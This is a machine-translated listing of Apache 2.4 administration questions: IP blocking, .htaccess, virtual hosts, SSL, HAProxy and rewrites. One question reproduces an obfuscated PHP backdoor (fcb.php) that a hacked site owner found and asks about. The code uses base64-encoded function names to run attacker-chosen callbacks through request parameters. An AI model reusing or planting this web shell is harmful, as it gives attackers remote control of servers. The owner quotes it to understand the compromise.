Articles of apache 2.4

Apache2不允许访问整个服务器

在我的VPS上,我想阻止某些IP地址访问整个服务器。 我有例如这些网站(文档的根源) /var/www #the VPS website itself /home/eve/www/evesite.com /home/adam/www/adamsite.com 我编辑了'/etc/apache2/apache2.conf'并添加了这个: <Directory /var/www/> Options Indexes FollowSymLinks AllowOverride None Require all granted deny from XXX.XXX.XXX.XXX #IP to ban </Directory> 但是这只适用于'/ var / www'。 我知道我可以去编辑“网站启用”文件夹中的所有conf文件,但我想在一个位置执行此操作。 另外,如果我想阻止整个范围的IP地址,ege 123.123.123。[0-255],我该怎么做?

除非指向index.php,否则无法获取应用程序以使用htaccess

我有困难让我的应用程序之一,使用其path内的htaccess文件,除非我直接指向index.php浏览器 我已经在我的电脑上安装了ubuntu: Distributor ID: Ubuntu Description: Ubuntu 15.10 Release: 15.10 Codename: wily 我在我的电脑上安装了apache: Server version: Apache/2.4.12 (Ubuntu) Server built: Jul 24 2015 15:59:11 我已经尝试将下面的代码添加到我的/etc/apache2/apache2.conf <Directory /var/www/html/pss/> Options Indexes FollowSymLinks AllowOverride None Require all granted </Directory> 我也试过这样的: <Directory /var/www/html/pss/html> Options Indexes FollowSymLinks AllowOverride None Require all granted </Directory> 如您所见,此代码指向位置/var/www/html/pss 。 在我的pss folder有一个html文件夹。 在这个html文件夹里面我有一个.htaccess和index.php文件。 如果我指向我的浏览器http:// localhost / […]

在单台服务器上使用HAProxy

我试图让我的networking应用更快,并计划安装HAProxy在同一滴。 我目前的设置是:Laravel在Apache,MySQL,PHP 5.5.9,OpCache,PageSpeedMod。 安装和使用HAProxy会提高我的性能(速度或服务器负载)? 它可以提高性能,因为它在我的Apache安装中充当反向代理? 这值得么? 我有单一的MySQL服务器运行在相同的液滴与100倍的读取相比,写道。 HAProxy可以影响或改进MySQL端的任何内容吗? 我是HAProxy和服务器性能优化的新手。

在Apache 2.4或更高版本中启用虚拟主机

我在debian 8上使用Apache HTTP服务器2.4。 我似乎回想起几年前,如果你想拥有虚拟主机,你必须通过添加一行到你的主Apacheconfiguration文件来启用它。 这有改变吗? 我似乎无法在主configuration文件中find该行,但000-default.conf虚拟主机正在工作。 我只是想确认,在这个版本的Apache中默认启用虚拟主机?

通过在apache日志中访问的页面查找IP(awk?)

我有一堆的Apache访问日志文件,我想知道哪些IP地址访问我的/ contacts文件夹。 如何使用shell命令从所有日志文件中收集这些文件?

PHP文件(符号链接)显示为文本

这是不一样的其他问题,如“PHP文件显示文本或不执行”。 在我的情况下,PHP文件确实工作正常。 但是,文件(符号链接)的PHP文件不起作用。 例如,正常的.php文件正在工作。 # ls -al lrwxrwxrwx 1 ftomd psacln 9 Jul 21 2010 ystalyfera -> index.php lrwxrwxrwx 1 ftomd psacln 9 Jul 21 2010 ystradgynlais -> index.php 正如你可以在上面看到的,网站是自定义编码,所有内部页面符号链接到主index.php文件。 这些符号链接文件不工作,并显示为文本文件。 使用Apache 2.2和php 5.3在另一个服务器上工作的脚本(从那里迁移)。 新的服务器有Apache 2.4和PHP 5.4(dso),CentOS 7和Plesk 12.5 我错过了什么? 有什么build议么?。 请让我知道,如果你需要更多的细节。 谢谢阿卜杜勒

PHP脚本 – 我被黑客

这是我在每个网站文件夹的根目录下find的PHP脚本。 脚本名称是fcb.php 内容是: <? $GLOBALS['_1303753477_']=Array(base64_decode('YX' .'JyYXlfZGlmZl91a2V5'),base64_decode('c3RyaXBz' .'bG' .'F' .'z' .'aGVz')); ?><? function _1935386521($i){$a=Array('cGFzc3dvcmQ=','cmVfcGFzc3dvcmQ=','bG9naW4=');return base64_decode($a[$i]);} ?><?php @$GLOBALS['_1303753477_'][0](@array((string)$_REQUEST[_1935386521(0)]=>round(0+0.25+0.25+0.25+0.25)),@array((string)$GLOBALS['_1303753477_'][1]($_REQUEST[_1935386521(1)])=>round(0+0.4+0.4+0.4+0.4+0.4)),$_REQUEST[_1935386521(2)]); ?> 有人可以解释这是什么吗? 谢谢。

将redirect与.htaccess分离

我将我的服务器迁移到其他位置。 我有一堆更改的URL(50左右),我需要301redirect到新的位置。 我使用Apache 2.4 有没有办法将它们从.htaccess分离到不同的文件(S)只是为了组织?

为单个VirtualHost启用SSL

我有一个运行在Ubuntu 14.04 LTS上的apache 2.4 webserver。 是否可以为单个VirtualHost启用SSL,而不影响其他VirtualHost(包括默认的)? 例如,在我的networking服务器,我有这个网站通过HTTP运行: 000-default.conf hello.com.conf welcome.com.conf secure.com.conf 我没有启用default-ssl.conf 。 现在,我想在HTTPS(:443)下运行secure.com.conf ,所以我用a2enmod ssl启用了ssl插件,并以这种方式更改了VHostconfiguration: <VirtualHost *:443> ServerName www.secure.com … SSLEngine on SSLCertificateFile /etc/letsencrypt/live/www.secure.com/fullchain.pem SSLCertificateKeyFile /etc/letsencrypt/live/www.secure.com/privkey.pem </VirtualHost> 无论如何,当我重新启动apache与service apache2 restart失败,并说: [ssl:emerg] AH02240: Server should be SSL-aware but has no certificate configured [Hint: SSLCertificateFile] ((null):0) [ssl:emerg] AH02312: Fatal error initialising mod_ssl, exiting. 编辑: 通过添加SSLCertificateChainFile到configuration我设法启动networking服务器… 无论如何,如果我尝试加载(仅用于testing) […]

redirect到apache上的客户端子文件夹

我正在我的Web应用程序中托pipe几个小型客户端页面。 基本上,他们都是我写的Web应用程序的实例,为不同的客户端。 我正在用capistrano进行部署,所以每次部署新版本时,都会部署到客户端目录的“当前”子目录中。 因此,对于名为client-name的客户client-name ,它将部署到/var/www/deployments/client-name/current/ (实际上,这是发布的符号链接,但这不重要)。 我的web应用程序要求应用程序的“根”指向/main子目录。 基本上,我的问题是这样的: 我的根域是client.example.com 。 我想要做的是能够redirect一个请求types的浏览器,使http://client.example.com/client-name/something实际上指向http://client.example.com/client-name/current/main/something ,其中client-name是可变的(对于我来说,枚举太多了,尽pipe肯定less于100)。 理想情况下,这可以在不改变地址栏中的位置的情况下完成。 我觉得这是一个非常简单的Apache mod_rewrite使用,但我似乎无法find一个我正在寻找的例子。 我将不胜感激,如果有人可以帮我,因为mod_rewrite让我的头受伤。 ;)